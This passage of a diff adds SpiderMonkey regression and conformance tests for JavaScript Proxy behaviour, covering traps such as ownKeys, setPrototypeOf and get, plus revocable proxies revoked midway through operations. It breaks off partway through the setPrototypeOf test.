+++ b/js/src/tests/non262/Proxy/hasInstance.js
@@ -0,0 +1,13 @@
+var get = [];
+var fun = function() {}
+var p = new Proxy(fun, {
+ get(target, key) {
+ get.push(key);
+ return target[key];
+ }
+});
+
+assertEq(new fun instanceof p, true);
+assertDeepEq(get, [Symbol.hasInstance, "prototype"]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js b/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js
new file mode 100644
index 0000000000..5d667e353a
--- /dev/null
+++ b/js/src/tests/non262/Proxy/json-stringify-replacer-array-revocable-proxy.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "json-stringify-replacer-array-revocable-proxy.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1196497;
+var summary =
+ "Don't assert when JSON.stringify is passed a revocable proxy to an array, " +
+ "then that proxy is revoked midflight during stringification";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var { proxy, revoke } = Proxy.revocable(arr, {
+ get(thisv, prop, receiver) {
+ // First (and only) get will be for "length", to determine the length of the
+ // list of properties to serialize. Returning 0 uses the empty list,
+ // resulting in |a: 0| being ignored below.
+ assertEq(thisv, arr);
+ assertEq(prop, "length");
+ assertEq(receiver, proxy);
+
+ revoke();
+ return 0;
+ }
+});
+
+assertEq(JSON.stringify({a: 0}, proxy), "{}");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/ownkeys-allowed-types.js b/js/src/tests/non262/Proxy/ownkeys-allowed-types.js
new file mode 100644
index 0000000000..028ab85128
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-allowed-types.js
@@ -0,0 +1,20 @@
+function makeProxy(type) {
+ return new Proxy({}, { ownKeys() { return [type]; } });
+}
+
+for (var type of [123, 12.5, true, false, undefined, null, {}, []]) {
+ var proxy = makeProxy(type);
+ assertThrowsInstanceOf(() => Object.ownKeys(proxy), TypeError);
+ assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+}
+
+type = Symbol();
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertySymbols(proxy)[0], type);
+
+type = "abc";
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertyNames(proxy)[0], type);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/ownkeys-linear.js b/js/src/tests/non262/Proxy/ownkeys-linear.js
new file mode 100644
index 0000000000..7b05a93846
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-linear.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-linear.js';
+var BUGNUMBER = 1257779;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should have linear complexity";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Making this 50k makes cgc builds time out on tbpl. 5k takes 28s locally.
+// 10k takes 84s locally. So pick an intermediate number, with a generous
+// constant factor in case cgc-on-tbpl is much slower.
+const HALF_COUNT = 7500;
+
+var configurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ configurables.push("conf" + i);
+
+var nonconfigurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ nonconfigurables.push("nonconf" + i);
+
+var target = {};
+for (var name of configurables)
+ Object.defineProperty(target, name, { configurable: false, value: 0 });
+for (var name of nonconfigurables)
+ Object.defineProperty(target, name, { configurable: true, value: 0 });
+
+var handler = {
+ ownKeys(t) {
+ assertEq(t, target, "target mismatch!");
+
+ var trapResult = [];
+
+ // Append all nonconfigurables in reverse order of presence.
+ for (var i = nonconfigurables.length; i > 0; i--)
+ trapResult.push(nonconfigurables[i - 1]);
+
+ // Then the same for all configurables.
+ for (var i = configurables.length; i > 0; i--)
+ trapResult.push(configurables[i - 1]);
+
+ // The end consequence is that this ordering is exactly opposite the
+ // ordering they'll have on the target, and so worst-case performance will
+ // occur if the spec's |uncheckedResultKeys| structure is a vector having
+ // the same order as |trapResult|, searched from beginning to end in the
+ // presence-checks in the last few steps of the [[OwnPropertyKeys]]
+ // algorithm.
+ return trapResult;
+ }
+};
+
+var p = new Proxy(target, handler);
+
+// The test passes if it doesn't time out.
+assertEq(Object.getOwnPropertyNames(p).length, HALF_COUNT * 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js b/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js
new file mode 100644
index 0000000000..d525662657
--- /dev/null
+++ b/js/src/tests/non262/Proxy/ownkeys-trap-duplicates.js
@@ -0,0 +1,33 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-trap-duplicates.js';
+var BUGNUMBER = 1293995;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should not throw if the trap " +
+ "implementation returns duplicate properties and the object is " +
+ "non-extensible or has non-configurable properties." +
+ "Revised (bug 1389752): Throw TypeError for duplicate properties.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var target = Object.preventExtensions({ a: 1 });
+var proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+
+target = Object.freeze({ a: 1 });
+proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/proxy-__proto__.js b/js/src/tests/non262/Proxy/proxy-__proto__.js
new file mode 100644
index 0000000000..f68bea489b
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-__proto__.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-__proto__.js';
+var BUGNUMBER = 950407;
+var summary = "Behavior of __proto__ on ES6 proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var protoGetter = protoDesc.get;
+var protoSetter = protoDesc.set;
+
+function testProxy(target, initialProto)
+{
+ print("Now testing behavior for new Proxy(" + ("" + target) + ", {})");
+
+ var pobj = new Proxy(target, {});
+
+ // Check [[Prototype]] before attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), initialProto);
+ assertEq(protoGetter.call(pobj), initialProto);
+
+ // Attempt [[Prototype]] mutation
+ protoSetter.call(pobj, null);
+
+ // Check [[Prototype]] after attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), null);
+ assertEq(protoGetter.call(pobj), null);
+ assertEq(Object.getPrototypeOf(target), null);
+}
+
+// Proxy object with non-null [[Prototype]]
+var nonNullProto = { toString: function() { return "non-null prototype"; } };
+var target = Object.create(nonNullProto);
+testProxy(target, nonNullProto);
+
+// Proxy object with null [[Prototype]]
+target = Object.create(null);
+target.toString = function() { return "null prototype" };
+testProxy(target, null);
+
+// Proxy function with [[Call]]
+var callForCallOnly = function () { };
+callForCallOnly.toString = function() { return "callable target"; };
+testProxy(callForCallOnly, Function.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/proxy-constructNonObject.js b/js/src/tests/non262/Proxy/proxy-constructNonObject.js
new file mode 100644
index 0000000000..04cee11e96
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-constructNonObject.js
@@ -0,0 +1,18 @@
+function bogusConstruct(target) { return 4; }
+function bogusConstructUndefined(target) { }
+
+var handler = { construct: bogusConstruct }
+
+function callable() {}
+
+var p = new Proxy(callable, handler);
+
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+handler.construct = bogusConstructUndefined;
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0, "OK");
diff --git a/js/src/tests/non262/Proxy/proxy-for-in.js b/js/src/tests/non262/Proxy/proxy-for-in.js
new file mode 100644
index 0000000000..4332bfbbad
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-for-in.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+let steps = [];
+
+const object = {
+ __proto__: {
+ "xyz": 42
+ }
+};
+const proxy = new Proxy(object, {
+ ownKeys(target) {
+ steps.push("ownKeys")
+ return ["a", "b"];
+ },
+
+ getOwnPropertyDescriptor(target, property) {
+ steps.push("getOwn-" + property);
+ return {
+ value: undefined,
+ configurable: true,
+ writable: true,
+ enumerable: (property === "a")
+ };
+ }
+});
+
+let iterated = [];
+for (let x in proxy)
+ iterated.push(x);
+
+assertEq(iterated.toString(), "a,xyz");
+assertEq(steps.toString(), "ownKeys,getOwn-a,getOwn-b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js b/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js
new file mode 100644
index 0000000000..86d352d454
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-no-receiver-overwrite.js
@@ -0,0 +1,23 @@
+"use strict";
+
+var y = new Proxy({}, {
+ getOwnPropertyDescriptor(target, key) {
+ if (key === "a") {
+ return { configurable: true, get: function(v) {} };
+ } else {
+ assertEq(key, "b");
+ return { configurable: true, writable: false, value: 15 };
+ }
+ },
+
+ defineProperty() {
+ throw "not invoked";
+ }
+})
+
+// This will invoke [[Set]] on the target, with the proxy as receiver.
+assertThrowsInstanceOf(() => y.a = 1, TypeError);
+assertThrowsInstanceOf(() => y.b = 2, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js b/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js
new file mode 100644
index 0000000000..c82c0f935b
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-proto-lazy-props.js
@@ -0,0 +1,61 @@
+function makeProxyPrototype(target) {
+ return Object.setPrototypeOf(target, new Proxy({}, new Proxy({
+ getPrototypeOf() {
+ return null;
+ },
+ ownKeys() {
+ return [];
+ },
+ get(t, pk, r) {
+ throw new Error("Unexpected [[Get]]: " + String(pk));
+ }
+ }, {
+ get(t, pk, r) {
+ if (pk in t)
+ return Reflect.get(t, pk, r);
+ throw new Error("Unexpected trap called: " + pk);
+ }
+ })));
+}
+
+function enumerateMappedArgs(x) {
+ var a = makeProxyPrototype(arguments);
+
+ // Delete all lazy properties and ensure no [[Has]] trap is called for them
+ // on the prototype chain.
+ delete a.length;
+ delete a.callee;
+ delete a[Symbol.iterator];
+ delete a[0];
+
+ for (var k in a);
+}
+enumerateMappedArgs(0);
+
+function enumerateUnmappedArgs(x) {
+ "use strict";
+ var a = makeProxyPrototype(arguments);
+
+ delete a.length;
+ // delete a.callee; // .callee is non-configurable
+ delete a[Symbol.iterator];
+ delete a[0];
+
+ for (var k in a);
+}
+enumerateUnmappedArgs(0);
+
+function enumerateFunction() {
+ var f = makeProxyPrototype(function named() {});
+
+ // delete f.prototype; // .prototype is non-configurable
+ delete f.length;
+ delete f.name;
+
+ for (var k in f);
+}
+enumerateFunction();
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js b/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js
new file mode 100644
index 0000000000..a60dddbea6
--- /dev/null
+++ b/js/src/tests/non262/Proxy/proxy-with-revoked-arguments.js
@@ -0,0 +1,53 @@
+var BUGNUMBER = 1151149;
+var summary = "Proxy constructor should not throw if either the target or handler is a revoked proxy.";
+
+print(BUGNUMBER + ": " + summary);
+
+var p = new Proxy({}, {});
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+var r = Proxy.revocable({}, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+
+var r2 = Proxy.revocable({}, {});
+r = Proxy.revocable(r2.proxy, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r2.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+
+var g = newGlobal();
+p = g.eval(`var r = Proxy.revocable({}, {}); r.proxy;`);
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+g.eval(`r.revoke();`);
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/regress-bug1037770.js b/js/src/tests/non262/Proxy/regress-bug1037770.js
new file mode 100644
index 0000000000..240b04f32e
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug1037770.js
@@ -0,0 +1,7 @@
+foo = 1;
+Object.defineProperty(this, "foo", {writable:false, configurable:true});
+foo = 2;
+assertEq(foo, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/regress-bug1062349.js b/js/src/tests/non262/Proxy/regress-bug1062349.js
new file mode 100644
index 0000000000..fe0ad3d9a9
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug1062349.js
@@ -0,0 +1,31 @@
+// Adapted from a test case contributed by André Bargull in bug 1062349.
+
+var log = [];
+var hh = {
+ get(t, pk) {
+ log.push("trap: " + pk);
+ return t[pk];
+ }
+};
+var h = new Proxy({
+ get set() {
+ log.push("called set()");
+ Object.defineProperty(o, "prop", {value: 0});
+ log.push("o.prop:", Object.getOwnPropertyDescriptor(o, "prop"));
+ }
+}, hh);
+var p = new Proxy({}, h);
+var o = {__proto__: p};
+
+o.prop = 1;
+
+var expectedDesc = {value: 0, writable: false, enumerable: false, configurable: false};
+assertDeepEq(log, [
+ "trap: set",
+ "called set()",
+ "o.prop:",
+ expectedDesc
+]);
+assertDeepEq(Object.getOwnPropertyDescriptor(o, "prop"), expectedDesc);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/regress-bug950407.js b/js/src/tests/non262/Proxy/regress-bug950407.js
new file mode 100644
index 0000000000..d253c75fc2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/regress-bug950407.js
@@ -0,0 +1,7 @@
+var ab = new ArrayBuffer(5);
+var p = new Proxy(ab, {});
+var ps = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+var new_proto = {};
+ps.call(p, new_proto);
+
+reportCompare(ab.__proto__, new_proto);
diff --git a/js/src/tests/non262/Proxy/report-writable-as-non-writable.js b/js/src/tests/non262/Proxy/report-writable-as-non-writable.js
new file mode 100644
index 0000000000..c0facd1057
--- /dev/null
+++ b/js/src/tests/non262/Proxy/report-writable-as-non-writable.js
@@ -0,0 +1,20 @@
+"use strict";
+
+var target = {};
+Object.defineProperty(target, "test",
+ {configurable: false, writable: true, value: 1});
+
+var proxy = new Proxy(target, {
+ getOwnPropertyDescriptor(target, property) {
+ assertEq(property, "test");
+ return {configurable: false, writable: false, value: 1};
+ }
+});
+
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(proxy, "test"),
+ TypeError);
+
+assertThrowsInstanceOf(() => Reflect.getOwnPropertyDescriptor(proxy, "test"),
+ TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Proxy/revocable-proxy-prototype.js b/js/src/tests/non262/Proxy/revocable-proxy-prototype.js
new file mode 100644
index 0000000000..7afbc15d2a
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revocable-proxy-prototype.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'revocable-proxy-prototype.js';
+var BUGNUMBER = 1052139;
+var summary = "Accessing a revocable proxy's [[Prototype]] shouldn't crash";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+function checkFunctionAppliedToRevokedProxy(fun)
+{
+ var p = Proxy.revocable({}, {});
+ p.revoke();
+
+ try
+ {
+ fun(p.proxy);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError, got " + e);
+ }
+}
+
+checkFunctionAppliedToRevokedProxy(proxy => Object.getPrototypeOf(proxy));
+checkFunctionAppliedToRevokedProxy(proxy => Object.setPrototypeOf(proxy, null));
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/revoke-as-side-effect.js b/js/src/tests/non262/Proxy/revoke-as-side-effect.js
new file mode 100644
index 0000000000..25d4c9bf91
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoke-as-side-effect.js
@@ -0,0 +1,73 @@
+function createProxy(proxyTarget) {
+ var {proxy, revoke} = Proxy.revocable(proxyTarget, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ print("trap get:", propertyKey);
+ revoke();
+ }
+ }));
+ return proxy;
+}
+
+var obj;
+
+// [[GetPrototypeOf]]
+assertEq(Object.getPrototypeOf(createProxy({})), Object.prototype);
+assertEq(Object.getPrototypeOf(createProxy([])), Array.prototype);
+
+// [[SetPrototypeOf]]
+obj = {};
+Object.setPrototypeOf(createProxy(obj), Array.prototype);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+// [[IsExtensible]]
+assertEq(Object.isExtensible(createProxy({})), true);
+assertEq(Object.isExtensible(createProxy(Object.preventExtensions({}))), false);
+
+// [[PreventExtensions]]
+obj = {};
+Object.preventExtensions(createProxy(obj));
+assertEq(Object.isExtensible(obj), false);
+
+// [[GetOwnProperty]]
+assertEq(Object.getOwnPropertyDescriptor(createProxy({}), "a"), undefined);
+assertEq(Object.getOwnPropertyDescriptor(createProxy({a: 5}), "a").value, 5);
+
+// [[DefineOwnProperty]]
+obj = {};
+Object.defineProperty(createProxy(obj), "a", {value: 5});
+assertEq(obj.a, 5);
+
+// [[HasProperty]]
+assertEq("a" in createProxy({}), false);
+assertEq("a" in createProxy({a: 5}), true);
+
+// [[Get]]
+assertEq(createProxy({}).a, undefined);
+assertEq(createProxy({a: 5}).a, 5);
+
+// [[Set]]
+assertThrowsInstanceOf(() => createProxy({}).a = 0, TypeError);
+assertThrowsInstanceOf(() => createProxy({a: 5}).a = 0, TypeError);
+
+// [[Delete]]
+assertEq(delete createProxy({}).a, true);
+assertEq(delete createProxy(Object.defineProperty({}, "a", {configurable: false})).a, false);
+
+// [[OwnPropertyKeys]]
+assertEq(Object.getOwnPropertyNames(createProxy({})).length, 0);
+assertEq(Object.getOwnPropertyNames(createProxy({a: 5})).length, 1);
+
+// [[Call]]
+assertEq(createProxy(function() { return "ok" })(), "ok");
+
+// [[Construct]]
+// This throws because after the "construct" trap on the proxy is consulted,
+// OrdinaryCreateFromConstructor (called because the |q| function's
+// [[ConstructorKind]] is "base" per FunctionAllocate) accesses
+// |new.target.prototype| to create the |this| for the construct operation, that
+// would be returned if |return obj;| didn't override it.
+assertThrowsInstanceOf(() => new (createProxy(function q(){ return obj; })),
+ TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/revoke-no-name.js b/js/src/tests/non262/Proxy/revoke-no-name.js
new file mode 100644
index 0000000000..59ea80bd5d
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoke-no-name.js
@@ -0,0 +1,2 @@
+var revocationFunction = Proxy.revocable({}, {}).revoke;
+reportCompare(revocationFunction.name, "");
diff --git a/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js b/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js
new file mode 100644
index 0000000000..8214b3c9a7
--- /dev/null
+++ b/js/src/tests/non262/Proxy/revoked-get-function-realm-typeerror.js
@@ -0,0 +1,119 @@
+var constructors = [
+ // 19.1 Object Objects
+ {constructor: Object},
+
+ // 19.2 Function Objects
+ {constructor: Function},
+
+ // 19.3 Boolean Objects
+ {constructor: Boolean},
+
+ // 19.5 Error Objects
+ {constructor: Error},
+
+ // 19.5.5 Native Error Types Used in This Standard
+ {constructor: EvalError},
+ {constructor: RangeError},
+ {constructor: ReferenceError},
+ {constructor: SyntaxError},
+ {constructor: TypeError},
+ {constructor: URIError},
+
+ // 20.1 Number Objects
+ {constructor: Number},
+
+ // 20.3 Date Objects
+ {constructor: Date},
+
+ // 21.1 String Objects
+ {constructor: String},
+
+ // 21.2 RegExp (Regular Expression) Objects
+ {constructor: RegExp},
+
+ // 22.1 Array Objects
+ {constructor: Array},
+
+ // 22.2 TypedArray Objects
+ {constructor: Int8Array},
+
+ // 23.1 Map Objects
+ {constructor: Map},
+
+ // 23.2 Set Objects
+ {constructor: Set},
+
+ // 23.3 WeakMap Objects
+ {constructor: WeakMap},
+
+ // 23.4 WeakSet Objects
+ {constructor: WeakSet},
+
+ // 24.1 ArrayBuffer Objects
+ {constructor: ArrayBuffer},
+
+ // 24.2 SharedArrayBuffer Objects
+ ...(typeof SharedArrayBuffer === "function" ? [{constructor: SharedArrayBuffer}] : []),
+
+ // 24.3 DataView Objects
+ {constructor: DataView, args: [new ArrayBuffer(0)]},
+
+ // 25.2 GeneratorFunction Objects
+ {constructor: function*(){}.constructor},
+
+ // 25.3 AsyncGeneratorFunction Objects
+ {constructor: async function*(){}.constructor},
+
+ // 25.6 Promise Objects
+ {constructor: Promise, args: [function(){}]},
+
+ // 25.7 AsyncFunction Objects
+ {constructor: async function(){}.constructor},
+
+ // 9.2 ECMAScript Function Objects
+ {constructor: function(){}},
+
+ // Intl can be disabled at compile-time.
+ ...(typeof Intl !== "undefined" ? [
+ // 10 Collator Objects
+ {constructor: Intl.Collator},
+
+ // 11 NumberFormat Objects
+ {constructor: Intl.NumberFormat},
+
+ // 12 DateTimeFormat Objects
+ {constructor: Intl.DateTimeFormat},
+
+ // 13 PluralRules Objects
+ {constructor: Intl.PluralRules},
+
+ // Intl.RelativeTimeFormat proposal
+ {constructor: Intl.RelativeTimeFormat},
+
+ // Intl.Locale is not yet enabled by default.
+ ...(Intl.Locale ? [Intl.Locale] : []),
+ ] : []),
+];
+
+for (let {constructor, args = []} of constructors) {
+ let revoked = 0;
+ let {proxy, revoke} = Proxy.revocable(function(){}, {
+ get(t, pk, r) {
+ if (pk === "prototype") {
+ revoked++;
+ revoke();
+ return undefined;
+ }
+ return Reflect.get(t, pk, r);
+ }
+ });
+
+ assertThrowsInstanceOf(() => {
+ Reflect.construct(constructor, args, proxy);
+ }, TypeError);
+
+ assertEq(revoked, 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Proxy/setPrototypeOf.js b/js/src/tests/non262/Proxy/setPrototypeOf.js
new file mode 100644
index 0000000000..d79c53fd96
--- /dev/null
+++ b/js/src/tests/non262/Proxy/setPrototypeOf.js
@@ -0,0 +1,258 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "setPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[SetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+var p, h;
+
+// 1. Assert: Either Type(V) is Object or Type(V) is Null.
+// 2. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 3. If handler is null, throw a TypeError exception.
+// 4. Assert: Type(handler) is Object.
+// 5. Let target be the value of the [[ProxyTarget]] internal slot of O.
+
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+var originalProto = Reflect.getPrototypeOf(p);
+assertEq(originalProto, Object.prototype);
+
+rev.revoke();
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, originalProto),
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 6. Let trap be ? GetMethod(handler, "setPrototypeOf").
+
+// handler has uncallable (and not null/undefined) property
+p = new Proxy({}, { setPrototypeOf: 9 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: -3.7 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: NaN });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Infinity });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: true });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: /x/ });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Symbol(42) });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: class X {} });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, observe({}));
+
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), true);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+h = observe({ setPrototypeOf() { throw 3.14; } });
+p = new Proxy(Object.create(Object.prototype), h);
+
+// "setting" without change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// "setting" with change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /foo/),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// 7. If trap is undefined, then
+// a. Return ? target.[[SetPrototypeOf]](V).
+
+var settingProtoThrows =
+ new Proxy({}, { setPrototypeOf() { throw "agnizes"; } });
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: undefined });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: null });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+var anotherProto =
+ new Proxy({},
+ { setPrototypeOf(t, p) {
+ log.push("reached");
+ return Reflect.setPrototypeOf(t, p);
+ } });
+
+p = new Proxy(anotherProto, { setPrototypeOf: undefined });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+p = new Proxy(anotherProto, { setPrototypeOf: null });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+// 8. Let booleanTrapResult be ToBoolean(? Call(trap, handler, « target, V »)).
+
+// The trap callable might throw.
+p = new Proxy({}, { setPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /x/),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { setPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ setPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 9. If booleanTrapResult is false, return false.
+
+p = new Proxy({}, { setPrototypeOf() { return false; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return +0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return -0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return NaN; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return ""; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return undefined; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+// 10. Let extensibleTarget be ? IsExtensible(target).
+
+var targetThrowIsExtensible =
+ new Proxy({}, { isExtensible() { throw "psych!"; } });
+
